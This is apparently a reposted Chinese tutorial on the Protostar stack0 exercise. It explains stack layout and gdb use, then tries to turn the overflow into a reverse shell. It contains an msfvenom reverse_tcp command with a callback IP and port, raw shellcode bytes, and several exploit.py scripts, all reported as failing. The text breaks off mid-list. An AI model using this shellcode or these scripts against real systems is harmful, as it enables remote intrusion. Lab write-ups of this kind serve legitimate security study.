<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/binary/16667

    0x00 棧基礎知識


    1.http://blog.chinaunix.net/uid-1848701-id-2825699.html

    2.eip是當前幀中還沒開始執行,下一步要執行的匯編指令的地址

    3.32位系統中,一個棧單元為32位

    #!bash
    esp+0x4代表下一個棧單元
    esp+0x1c代表esp下面第[16+12=28(/4=7)] 7個棧單元
    eg.
        esp[ss:0x00000000]         |ab221245|   -->  一個棧單元
        esp+0x4[ss:0x00000004]     |2348sko9|   -->  一個棧單元
    

    4.call addr===>push eip + jmp addr

    執行call addr時,由于call addr已經執行,所以call addr=push eip+jmp addr中的eip為call addr匯編指令當前所在幀中的下一條指令的地址,這里說的當前所在幀是如下圖frame所示在當前圖片看到的一片匯編指令代碼,如執行0xff77b8d02處的call 0xf77bc2e0時,eip為當前幀的下一條指令的地址為f77b8d07

    p1

    5.leave===>mov esp,ebp + pop ebp

    6.ret===>pop eip + jmp eip

    0x01 gdb動態調度


    1.gdb常用調試命令

    http://wenku.baidu.com/link?url=W1u-DTrFwMreJsYavwKcI_yDzJsJglUJ4yfcXXXxWOkGTlJSSqXm-4zohcUYxGciOIeFRcSY0gr2qn-K5pnqGRU6nGbgQvW6XVfaRMCdmKq

    2.提煉命令:

    #!bash
    --------terminal-----------
    gdb
    help
    help data
    help stack
    help status
    -----------end-------------
    gdb stack0           #===>gdb + file stack0
    l(list)              #show source
    b 7(break 7)         #add break on line7
    b 8(break 8)         #add break on line8
    b 11
    b 13
    b 15
    info b(info break)
    info registers       #show registers
    r(run)
    disas /m
                 /r      #show hex(顯示匯編指令對應十六進制值)
                 /m      #show source if available(如果有源碼,顯示對應行源碼)
    set disassembly-flavor att/intel     #設置att或intel格式
    set disassemble-next-line            #設置下一步是否顯示匯編碼
    si(setpi)                            #==> step into,like f7 in od
    ni(nexti)                            #==> like f8 in od
    leave                #立即中斷當前函數運行并返回,當前函數的剩余語句將不被執行
    finish               #執行到當前函數返回之后停止,當前函數的剩余語句將正常運行
    bt(backtrace)        #查看所有棧幀信息
    f num(frame num)     #選擇并打印第num個棧幀信息
    info f(info frame)   #查看當前棧幀信息
    

    0x02 實例分析


    link:https://exploit-exercises.com/protostar/stack0/

    源碼如下:

    #!cpp
    --------stack0.c----------
    1       #include <stdlib.h>
    2       #include <unistd.h>
    3       #include <stdio.h>
    4
    5       int main(int argc, char **argv)
    6       {
    7         volatile int modified;
    8         char buffer[64];
    9
    10        modified = 0;
    11        gets(buffer);
    12
    13        if(modified != 0) {
    14            printf("you have changed the 'modified' variable\n");
    15        } else {
    16            printf("Try again?\n");
    17        }
    18      }
    -----------end------------
    

    該題要求溢出變量modified,也即覆蓋棧中的modified所在的內在地址里的值,在終端中執行如下命令,下面為實時操作與對輸出的相應理解

    on kali:

    #!bash
    cd /root/桌面
    vi stack0.c with upon source code
    gcc -g -o stack0 stack0.c
    gdb stack0
    
    l
    ----------output:----------
    1       #include <stdlib.h>
    2       #include <unistd.h>
    3       #include <stdio.h>
    4
    5       int main(int argc, char **argv)
    6       {
    7         volatile int modified;
    8         char buffer[64];
    9
    10        modified = 0;kjkkkk
    -----------end----------
    
    l
    ----------output:----------
    11        gets(buffer);
    12
    13        if(modified != 0) {
    14            printf("you have changed the 'modified' variable\n");
    15        } else {
    16            printf("Try again?\n");
    17        }
    18      }
    -----------end----------
    
    b 7
    b 8
    b 11
    b 13
    b 15
    
    info b
    ---------output:-----------
    Num     Type           Disp Enb Address    What
    1       breakpoint     keep y   0x080483fd in main at stack0.c:7
    breakpoint already hit 1 time
    2       breakpoint     keep y   0x080483fd in main at stack0.c:8
    breakpoint already hit 1 time
    3       breakpoint     keep y   0x08048405 in main at stack0.c:11
    breakpoint already hit 1 time
    4       breakpoint     keep y   0x08048411 in main at stack0.c:13
    5       breakpoint     keep y   0x08048427 in main at stack0.c:15
    ----------end--------------
    
    r
    
    disas /m
    -------------output:---------------
    7         volatile int modified;
    8         char buffer[64];
    9
    10        modified = 0;
    => 0x080483fd <+9>:     movl   $0x0,0x5c(%esp)
    ---------------end-----------------
    

    通過上面的結果發現中斷在line10,而其中line7,lin8中的兩個定義變量的語句volatile int modified和char buffer[64]并沒有中斷效果

    main函數對應匯編代碼從line6開始:

    #!bash
    ---------------------------------匯編跟蹤:line6------------------------------------------
    Dump of assembler code for function main:
    6       {
    0x080483f4 <+0>:     push   %ebp                 #ebp壓棧,對應下圖stack0中的序號1
    0x080483f5 <+1>:     mov    %esp,%ebp            #ebp=esp,對應下圖stack0中的序號2
    0x080483f7 <+3>:     and    $0xfffffff0,%esp     #將esp最后四位置0,應該是一種安全措施,獲得更大的棧空間,對應序號3
    0x080483fa <+6>:     sub    $0x60,%esp           #擴大棧空間,0x60=96=(/4=24)24個棧單元,對應序號4
    ---------------------------------------end-----------------------------------------------
    
    line7,lin8代碼:
    ------------line7,8---------------
    7         volatile int modified;
    8         char buffer[64];
    --------------end-----------------
    

    這兩行代碼由于無法在gdb中跟蹤,暫時無法確定在棧中的分布情況

    下文將會得出(此時可以先不看這個secret):

    1. 進入main函數前的上一幀中,有一個調用main函數的動作,為了調用main函數,有這幾個動作:

      1. 將main函數的參數從右到左壓棧(push)
      2. call main,將當前幀(還沒進入main函數時的幀)中call main匯編語句的下一行匯編語句的地址壓棧
    2. 在進入main函數,main初始化后(push ebp,ebp=esp,esp=esp-0x60),聲明變量的line7:volatile int modified,char buffer[64]的對應匯編效果是:從上一句esp=esp-0x60中的esp為擴展0x60的棧空間大小之前的esp開始依次“壓入”接下來聲明的各個變量,也即:

      1. 在下圖stack0中的0xffffd4ec中“壓入” modified變量,在0xffffd4ec上面“壓入”buffer[64]這個大變量,也即在0xffffd4ec-0x40<==>0xffffd4ec上面64B空間(16個棧單元)的位置上
      2. 這里打了引號的“壓入”沒有esp=esp-4的效果,應該是操作系統對程序初始化時算好了將要聲明的變量放到(“壓入”)對應的位置上
    3. 一般棧中從下到上數據依次為函數從右到左的參數、調用該函數的上一幀中"call 該函數"形式的對應匯編指令的下一句匯編指令的地址

    4. 只要修改了0xffffd4ec處(存放了modified變量)的值,將其改成非0就可以完成這一題的要求了

    5. 上面3中說的非0是內存中的非0,如果是鍵盤上的0鍵并不是內存中的0,如下圖ascii所示

    p2

    #!bash
    line10:(line9是空格行)
    -----------------匯編跟蹤:line10----------------------
    10        modified = 0;
    => 0x080483fd <+9>:     movl   $0x0,0x5c(%esp)      #0x5c=92(/4=23)=23個棧單元,將esp下面第23個棧單元置0,對應圖中序號5,在下一步可可發現是將0xffffd4ec處的32位空間置0
    ----------------------end-----------------------------
    
    x $esp+0x5c
    ----------output:------------
    0xffffd4ec:     0xf7fa6000
    ------------end--------------
    

    再執行stepi后會執行[esp+0x5c]=0,將上面的地址對應內容置0

    #!bash
    line11:
    -----------------匯編跟蹤:line11-----------------------
    11        gets(buffer);
    0x08048405 <+17>:    lea    0x1c(%esp),%eax          #eax=esp+0x1c,0x1c=28(/4=7)=7個棧單元,對應圖中序號6
    0x08048409 <+21>:    mov    %eax,(%esp)              #[esp]=eax,對應圖中序號7,為了下面的call gets作準備-->將func gets的參數“入棧”(放到對應的位置,不是push arg,沒有esp=esp-4)
    0x0804840c <+24>:    call   0x804830c <[email protected]>     #上面一行[esp]=eax=addr,將buffer[64]的起始地址放入棧中準備給gets函數調用
    -----------------------end-----------------------------
    
    stepi(0xffffd4ec被置0)
    x $esp+0x5c
    -----------output:-----------
    0xffffd4ec:     0x00000000
    -------------end-------------
    
    disas /m
    ------------out:-----------
    11        gets(buffer);
    => 0x08048405 <+17>:    lea    0x1c(%esp),%eax     #這行左邊的箭頭表示運行到這行,也即eip=0x08048405,此時x $esp+0x5c ===> 0xffffd4ec:  0x00000000
    
    0x08048409 <+21>:    mov    %eax,(%esp)         #此外,lea 0x1c(%esp),%eax(in att mode)<==>lea eax,[esp+0x1c](in intel mode)
    0x0804840c <+24>:    call   0x804830c <[email protected]>               
    -------------end-----------
    
    set disassembly-flavor intel(upon output is the result of "set dissassembly-flavor att" on default)
    ---------------output:---------------
    11        gets(buffer);
    => 0x08048405 <+17>:    lea    eax,[esp+0x1c]
    0x08048409 <+21>:    mov    DWORD PTR [esp],eax
    0x0804840c <+24>:    call   0x804830c <[email protected]>
    ------------------end----------------
    
    pay attention to eip part:(symbol "=>" means eip is here)
    ---------eip part----------
    11        gets(buffer);
    => 0x08048405 <+17>:    lea    eax,[esp+0x1c]           #將esp+0x1c的值賦給eax,eax=0xffffd4ac
    0x08048409 <+21>:    mov    DWORD PTR [esp],eax
    0x0804840c <+24>:    call   0x804830c <[email protected]>     #push 0x08048411,jmp func gets,對應圖中序號8
    ------------end------------
    
    p $esp+0x1c          #print $esp+0x1c,打印$esp+0x1c變量的值
    output:$2 = (void *) 0xffffd4ac
    
    x $esp+0x1c          #x addr==>print [addr],that is to say,print the value in the address of addr
    ---------output:(==>x $eax)----
    0xffffd4ac:     0xf7e2e243
    -----------end-----------------
    
    si
    si
    disas /m
    ---------output:------------
    11        gets(buffer);
    0x08048405 <+17>:    lea    eax,[esp+0x1c]
    0x08048409 <+21>:    mov    DWORD PTR [esp],eax
    => 0x0804840c <+24>:    call   0x804830c <[email protected]>
    ----------end---------------
    
    x $eax
    -------output:------------
    0xffffd4ac:     0xf7e2e243
    ------------end-----------
    
    x/4 $esp    #查看當前棧中esp起4個棧單元的情況
    ---------output:------------
    0xffffd490:     0xffffd4ac      0x00000000      0x000000c2      0xf7e92ee6
    -------------end------------
    

    其中的0xffffd4ac對應圖中的序號6中數值

    #!bash
    n
    輸入:
    12345678981234567898123456789812345678981234567898123456789812340000
    enter
    其中最后的12340000為第60到68個字符
    -----------output:--------------
    Breakpoint 4, main (argc=1, argv=0xffffd594) at stack0.c:13
    13        if(modified != 0) {
    --------------end---------------
    
    si
    disas /m
    ---------output:------------
    13        if(modified != 0) {
    0x08048411 <+29>:    mov    eax,DWORD PTR [esp+0x5c]
    => 0x08048415 <+33>:    test   eax,eax
    -------------end------------
    
    p $eax
    -----------output:------------
    $4 = 808464432
    ------------end---------------
    
    p/x $eax(以十六進制顯示eax的值,help x(x $esp+0x1c相當于p [$esp+0x1c]的效果,只不過p不支持p [somethin]命令顯示內存地址對應的內容)中的/FMT可以看到支持的各種顯示格式)
    ------------output:-------------
    $5 = 0x30303030
    ---------------end--------------
    

    這里的0x30303030是上面輸入的68個鍵盤上的數字中的最后4個0對應的內存中的值,鍵盤上的數字0對應的真實內存ascii值為48(十進制),也即十六進制0x30,更多關于ascii的理解可參考:

    https://forum.90sec.org/forum.php?mod=viewthread&tid=9217

    所以要輸入第65到68個字符單元為內存中的0,也即ascii值為nul的字符:

    #!bash
    print '\x00'(或python -c 'print "\x00"')
    output:空
    print '0'(或python -c 'python "0"')
    output:0
    print '\x30'(或python -c 'python "\x30"')
    output:0
    

    所以print '\x00'在內存中的數據為0,print '0'<==>print '\x30'

    重新運行./stack0并輸入下面的值可使modified在內存中的值不變,依然為內存中的0

    1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00

    注意,如果直接在鍵盤上輸入上面這一長串,最后的\x00\x00\x00\x00在內存中并不能被解析成內存中的0000,要使用如下方法:

    #!bash
    print '1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00' | ./stack0
    #或
    echo '1234567898123456789812345678981234567898123456789812345678981234\x00\x00\x00\x00' | ./stack0
    

    原題中要求改變modified位,直接輸入鍵盤上的任意大于64位的一串字符即可,因為鍵盤上的數字0在內存中是0x30,如果將鍵盤上的0鍵輸入到對應的modified位上,會改變modified

    p3

    該題要求溢出變量modified,也即覆蓋棧中的modified所在的內在地址里的值,這里進行擴展,通過棧溢出反彈shell.

    該題中ASLR(地址隨機化) 和 NX(棧不可執行)已禁用

    由上圖stack0及分析易知:

    1. 棧中如果將一個函數展開,一般從push ebp+mov ebp,esp+sub esp,0x??開始到leave+ret結束,將這些看作是該函數的幀,該函數的上一幀中有調用該函數的匯編語句,該函數的返回地址在棧中的位置為該函數幀的下面一個棧單元內(保存在該函數幀的下面一個棧單元內)
    2. 棧中內容由下至上依次為:函數的返回地址、函數的幀(由下至上從函數的上一幀中ebp的值開始)
    3. gets函數通過終端輸入超長字符只能覆蓋main函數幀的上一幀中調用main函數時main函數的返回地址main_ret,不能覆蓋main函數幀中調用gets函數時get函數的返回地址gets_ret

    計算需要輸入多少字符可以覆蓋main_ret:

    #!bash
    r
    Start it from the beginning? (y or n)
    y
    info b
    -------------output:-------------
    Num     Type           Disp Enb Address    What
    1       breakpoint     keep y   0x080483fd in main at stack0.c:7
            breakpoint already hit 1 time
    2       breakpoint     keep y   0x080483fd in main at stack0.c:8
            breakpoint already hit 1 time
    3       breakpoint     keep y   0x08048405 in main at stack0.c:11
    4       breakpoint     keep y   0x08048411 in main at stack0.c:13
    5       breakpoint     keep y   0x08048427 in main at stack0.c:15
    ---------------end---------------
    
    disas /m
    ----------------output:--------------------
    Dump of assembler code for function main:
    6       {
       0x080483f4 <+0>:     push   ebp
       0x080483f5 <+1>:     mov    ebp,esp
       0x080483f7 <+3>:     and    esp,0xfffffff0
       0x080483fa <+6>:     sub    esp,0x60
    
    7         volatile int modified;
    8         char buffer[64];
    9
    10        modified = 0;
    => 0x080483fd <+9>:     mov    DWORD PTR [esp+0x5c],0x0
    -----------------end-----------------------
    
    b *0x080483f5
    r
    Start it from the beginning? (y or n) 
    y
    -------------------output:-------------------
    Starting program: /root/桌面/stack0 
    
    Breakpoint 6, 0x080483f5 in main (argc=1, argv=0xffffd594) at stack0.c:6
    6       {
    ---------------------end---------------------
    
    disas /m
    -----------------output:-------------------
    Dump of assembler code for function main:
    6       {
       0x080483f4 <+0>:     push   ebp
    => 0x080483f5 <+1>:     mov    ebp,esp
       0x080483f7 <+3>:     and    esp,0xfffffff0
    -------------------end---------------------
    
    p $esp
    -------------output:-----------------
    $7 = (void *) 0xffffd4f8
    ---------------end-------------------
    

    也即執行完0x080483f4后esp值為0xffffd4f8,所以要覆蓋main_ret,需要輸入(0xffffd4f8-0xffffd4ec)/4+16+1+1=21個棧單元=21*4=84B,也即84個字符

    main_ret=0xffffd4f8+0x4=0xffffd4fc

    #!bash
    python -c "print 'a'*80+'bbbb'" | ./stack0     #(此時不可直接print 'a'*80,print不支持)
    ------------output:------------
    you have changed the 'modified' variable
    [1]    11055 done                python -c 'print "a"*80+"bbbb"' | 
           11056 segmentation fault  ./stack0
    -------------end---------------
    
    gdb -q -c core
    --------output:----------
    /root/桌面/core: 沒有那個文件或目錄.
    ----------end------------
    

    解決方法:http://blog.csdn.net/nuoline/article/details/8610694

    #!bash
    ulimit -c
    ---------output:----------
    0
    ------------end-----------
    
    ulimit -c 2048
    python -c 'print "a"*80+"bbbb"' | ./stack0
    ------------output:--------------
    you have changed the 'modified' variable
    [1]    11403 done                              python -c 'print "a"*80+"bbbb"' | 
           11404 segmentation fault (core dumped)  ./stack0
    --------------end----------------
    
    gdb -q -c core
    ----------------output:---------------
    [New LWP 11404]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x62626262 in ?? ()
    -----------------end------------------
    

    從而發現某個函數(main函數)的返回地址被改寫成0x62626262(bbbb),從而產生溢出錯誤

    或者:

    #!bash
    gdb ./stack0
    b 18
    si
    si
    

    此時程序將執行到達main函數幀中的ret,再si將跳轉到main_ret處,可通過以下驗證

    #!bash
    -------------output:--------------
    15        } else {
    16            printf("Try again?\n");
       0x08048427 <+51>:    movl   $0x8048529,(%esp)
       0x0804842e <+58>:    call   0x804832c <[email protected]>
    
    17        }
    18      }
       0x08048433 <+63>:    leave  
    ---Type <return> to continue, or q <return> to quit---
    => 0x08048434 <+64>:    ret    
    
    End of assembler dump.
    (gdb) si
    0x62626262 in ?? ()
    --------------end-----------------
    

    同樣可以發現main_ret被溢出為0x62626262(bbbb)

    檢驗一下:

    #!bash
    python -c 'print "a"*80+"bbcc"' | ./stack0
    ------------------output:--------------------
    [New LWP 11928]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x63636262 in ?? ()
    ---------------------end---------------------
    

    最后的"bbcc"由于在內存中依次由上到下存放在棧空間中(在一個棧單元中可放下4個字符,在一個棧單元中從左到右存放),而棧中由上到下或一個棧單元中的從左到右都是由內存低地址到內存高地址排列,所以bbcc(0x62626363)被翻譯成eip=0x63636262

    為了溢出反彈一個shell,用msf生成shellcode,并構造成如下輸入鏈來觸發shellcode的執行

    "a"*80+addr(jmp esp)+shellcode

    其中shellcode代碼由msf生成,輸出為py版本,反彈ip設為kali的ip:192.168.3.106,port為1111

    #!bash
    2004 ~  ? msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.3.106 LPORT=1111 -e x86/shikata_ga_nai -b "\x00" --platform linux -f py 
    -------------------------output:-----------------------
    No Arch selected, selecting Arch: x86_64 from the payload
    Found 1 compatible encoders
    Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
    x86/shikata_ga_nai succeeded with size 95 (iteration=0)
    x86/shikata_ga_nai chosen with final size 95
    Payload size: 95 bytes
    buf =  ""
    buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
    buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
    buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
    buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
    buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
    buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
    buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
    buf += "\x8b\xf4\xbe\x2c"
    -------------------------end--------------------------
    

    其中jmp esp的地址由msfelfscan找出,win下為msfpescan

    msfelfscan -j esp /root/桌面/stack0

    結果發現由于stack0的代碼比較簡單,里面沒有jmp esp的指令,于是通過info shared來找出stack0中調用系統函數時用到的so文件,然后從so文件里找出jmp esp的地址,如下:

    #!bash
    info shared
    ------------output:----------------
    From        To          Syms Read   Shared Object Library
    0xf7fdd860  0xf7ff50fc  Yes (*)     /lib/ld-linux.so.2     #0xf7fdd860為該動態鏈接庫的內存加載基址
                            No          linux-gate.so.1
    0xf7e14420  0xf7f44c0e  Yes (*)     /lib/i386-linux-gnu/i686/cmov/libc.so.6
    (*): Shared library is missing debugging information.
    --------------end------------------
    

    然后執行msfelfscan -j esp /lib/ld-linux.so.2

    #!bash
    ----------output:-------------
    [/lib/ld-linux.so.2]
    0x0001813b jmp esp
    0x0001bfe7 jmp esp
    0x0001c24f jmp esp
    ------------end---------------
    

    找到一個jmp esp地址為:0x0001813b,但是這只是偏移量

    真正的地址為:0xf7fdd860+0x0001813b=0xf7ff599b

    于是輸入鏈為:

    "a"*80+'\x9b\x59\xff\xf7'+shellcode

    用python代碼實現exploit.py:

    #!bash
    ------------exploit.py----------------
    import os
    import sys
    buf =  ""
    buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
    buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
    buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
    buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
    buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
    buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
    buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
    buf += "\x8b\xf4\xbe\x2c"
    
    jmp_esp="\x9b\x59\xff\xf7"
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    #print input
    os.system("echo '%s' | ./stack0" % input)
    ---------------end--------------------
    

    發現上面算出來的jmp_esp='\x9b\x59\xff\xf7'無法跳轉到esp,可能是我的這種理解錯了

    換工具,rop-tool

    先安裝上面鏈接中說的capstone

    然后下載rop-tool

    #!bash
    chmod +x rop-tool-Linux-x86_64
    mv rop-tool-Linux-x86_64 /usr/bin/rop
    rop gadget ./stack0(或者rop gadget -a ./stack0)
    ------------------output:--------------------
    Looking gadgets, please wait...
     0x080482e5 -> add dword ptr [eax], eax; add byte ptr [eax + 0x5b], bl; leave ; ret ; 
     0x080482ca -> ret ; 
     0x08048440 -> push ebp; mov ebp, esp; pop ebp; ret ; 
     0x080483ef -> call eax; leave ; ret ; 
     0x080482e9 -> pop ebx; leave ; ret ; 
     0x080484a7 -> pop edi; pop ebp; ret ; mov ebx, dword ptr [esp]; ret ; 
     0x080482c5 -> add byte ptr [eax], al; add byte ptr [ebx - 0x7f], bl; ret ; 
     0x080484a7 -> pop edi; pop ebp; ret ; 
     0x080484f4 -> pop ecx; pop ebx; leave ; ret ; 
     0x080483b9 -> add eax, 0x8049644; add dword ptr [ebx + 0x5d5b04c4], eax; ret ; 
     0x080484a8 -> pop ebp; ret ; mov ebx, dword ptr [esp]; ret ; 
     0x080483ef -> call eax; 
     0x080484a5 -> pop ebx; pop esi; pop edi; pop ebp; ret ; 
     0x080482ea -> leave ; ret ; 
     0x080483c3 -> pop ebp; ret ; 
     0x080483c2 -> pop ebx; pop ebp; ret ; 
     0x080482e6 -> add byte ptr [eax], al; pop eax; pop ebx; leave ; ret ; 
     0x080482e7 -> add byte ptr [eax + 0x5b], bl; leave ; ret ; 
     0x080482e8 -> pop eax; pop ebx; leave ; ret ; 
     0x080484aa -> mov ebx, dword ptr [esp]; ret ; 
     0x080482c7 -> add byte ptr [ebx - 0x7f], bl; ret ; 
     0x080484a9 -> ret ; mov ebx, dword ptr [esp]; ret ; 
     0x080483be -> add dword ptr [ebx + 0x5d5b04c4], eax; ret ; 
     0x08048432 -> dec ecx; ret ; 
     0x08048441 -> mov ebp, esp; pop ebp; ret ; 
     0x080484a6 -> pop esi; pop edi; pop ebp; ret ; 
    ---------------------end---------------------
    

    里面沒有找到jmp esp,不理解為什么不搜索系統加載到內存的動態鏈接庫so文件里的jmp esp,暫且不管這個問題

    沒有找到jmp esp,rop gadget這個功能主要是搜索用來獲得ret2libc構造鏈中的子語句的功能,特點是每個gadget都是以ret結尾的一條或幾條匯編小指令

    換工具edb-debugger,kali自帶,將stack0拖入edb,快捷鍵ctrl+o,或者從plugins選項中選擇opcodesearcher工具(里面也有roptool,功能類似上面的rop-tool工具的功能,edb-debugger中的toptool功能可以看到系統內存已經加載的動態鏈接庫列表,而上面freebuf中提到的rop-tool不能)

    搜到jmp esp地址如下(由于本機kali為64位,所以顯示成下圖中樣式,取其中32位的地址即可)

    p4

    取其中的0xf773813b,替換exploit.py中jmp_esp="\x3b\x81\x73\xf7",上圖中選擇的/lib/i386-linux-gnu/ld-2.19.so應該是隨著操作系統啟動加載到系統內存中的可用動態鏈接庫文件

    運行exploit.py,結果依然不行,這個jmp_esp還是沒有被執行,可能是沒有找到這個地址,不理解,暫且不管這個問題

    #!bash
    python exploit.py
    ----------------outpout:------------------
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?A>4P???do<$3?1U?da??N>????SF
             91!z?ik\Dz??5?
    you have changed the 'modified' variable
    Segmentation fault (core dumped)
    ┌─[[email protected]] - [~/桌面] - [Mon Jun 06, 07:53]
    └─[$] <> gdb -q -c core 
    [New LWP 7435]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0xf773813b in ?? ()
    (gdb) disas 0xf773813b
    No function contains specified address.
    -----------------end----------------------
    

    無法有效利用jmp esp的方法,直接在main_ret位置上填充緊跟其后的shellcode的開始的地址,也即address(main_ret位置在內存中的地址0xffffd4fc)+0x4的結果:

    shellcode_addr=0xffffd500

    由于有00,在調用gets時系統復制從終端輸入的超長字符串會提前停止,所以不能取0xffffd500,取成0xffffd501,在原來shellcode前面加一個nop(\x90),重新構造輸入鏈:

    "a"*80+"\x01\xd5\ff\xff"+"\x90"+shellcode

    將exploit.py中jmp_esp替換為jmp_esp="\x01\xd5\xff\xff",并在shellcode前面加一個"\x90",新的exploit.py如下:

    #!bash
    ------------------------exploit.py-------------------------------
    #/usr/bin/python
    import os
    import sys
    buf =  "\x90"
    buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
    buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
    buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
    buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
    buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
    buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
    buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
    buf += "\x8b\xf4\xbe\x2c"
    
    jmp_esp="\x01\xd5\xff\xff"
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    print input
    os.system("echo '%s' | ./stack0" % input)
    ----------------------------end----------------------------------
    

    結果依然失敗

    #!bash
    -----------------output:---------------------
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa???1o<$3?1U?da??N>?????A>4P???d
             91!z?ik\Dz??5?
    you have changed the 'modified' variable
    Segmentation fault (core dumped)
    ┌─[[email protected]] - [~/桌面] - [Mon Jun 06, 08:33]
    └─[$] <> gdb -q -c core 
    [New LWP 32688]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0xffffd501 in ?? ()
    ------------------end------------------------
    

    重新運行./stack0,手工輸入:

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb

    其中1234對應為main_ret位置,bbbb為原來的shellcode位置

    產生core文件后

    #!bash
    gdb -q -c core
    --------output:---------
    [New LWP 25058]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x34333231 in ?? ()
    ---------end------------
    
    x/4 $esp
    ------output:---------
    0xff85ffc0:     0x62626262      0xff860000      0xff86005c      0xf77e679a
    -------end------------
    
    x/4 $esp-4
    ------output:---------
    0xff85ffbc:     0x34333231      0x62626262      0xff860000      0xff86005c
    --------end-----------
    

    易知從這里(core)看到的shellcode開始的位置應該從0xff85ffc0開始(上面exploit.py中不在shellcode前加nop時使用的地址是0xffffd500)

    而0xff85ffc0中沒有\x00不影響直接執行shellcode,不加nop,構造成如下輸入鏈:

    "a"*80+"\xc0\xff\x85\xff"+shellcode

    在exploit.py中具體如下:

    #!bash
    -----------------exploit.py-------------------
    #/usr/bin/python
    import os
    import sys
    buf =  ""
    buf += "\xba\x31\x6f\x3c\x05\xd9\xca\xd9\x74\x24\xf4\x5d\x33"
    buf += "\xc9\xb1\x12\x31\x55\x12\x83\xc5\x04\x03\x64\x61\xde"
    buf += "\xf0\xce\x4c\xe1\x91\xc7\xf6\x84\xd0\xc7\x4e\x3e\xca"
    buf += "\xaa\x7f\x89\x99\x16\xc1\x53\xec\x51\xce\x66\x46\x0d"
    buf += "\xba\x41\x3e\x34\x50\x90\xe1\x2c\xa4\xca\x12\xb5\xee"
    buf += "\x65\x64\x0c\xec\x89\x71\x39\x31\x21\x7a\xaf\xe0\x7a"
    buf += "\xf4\xc9\x69\x6b\x5c\x7f\x44\xd3\x6f\x7a\xc1\xbd\x35"
    buf += "\x8b\xf4\xbe\x2c"
    
    jmp_esp="\xc0\xff\x85\xff"
    #print jmp_esp
    input="a"*80+jmp_esp+buf
    print input
    os.system("echo '%s' | ./stack0" % input)
    -------------------end0-----------------------
    
    python exploit.py
    -----------output:--------------
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?????1o?A>4P???d??N>????SF
             91!z?ik\Dz??5?
    you have changed the 'modified' variable
    Segmentation fault (core dumped)
    ------------end-----------------
    
    gdb -q -c core
    -------------output:---------------
    [New LWP 2220]
    Core was generated by `./stack0'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0xff85ffc0 in ?? ()
    ---------------end-----------------
    

    依然在新的0xff85ffc0無法執行

    #!bash
    x/40x $esp-4
    ----------output:------------
    0xffe11e0c:     0xff85ffc0      0x3c6f31ba      0xd9cad905      0x5df42474
    ----------end----------------
    

    可以看到此時應該將0xff85ffc0改成0xffe11e0c+0x4=0xffe11e10才會執行后面的shellcode(內容從0x3c6f31ba開始)

    說明shellcode每次在內存中的位置都是變化的

    后來又發現下面三種方法特點不同:

    方法1:

    #!bash
    gdb ./stack0
    人工輸入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1234bbbb
    

    每次shellcode的位置(bbbb處)在內存中的地址都是0xffffd500

    方法2:

    #!bash
    ./stack0
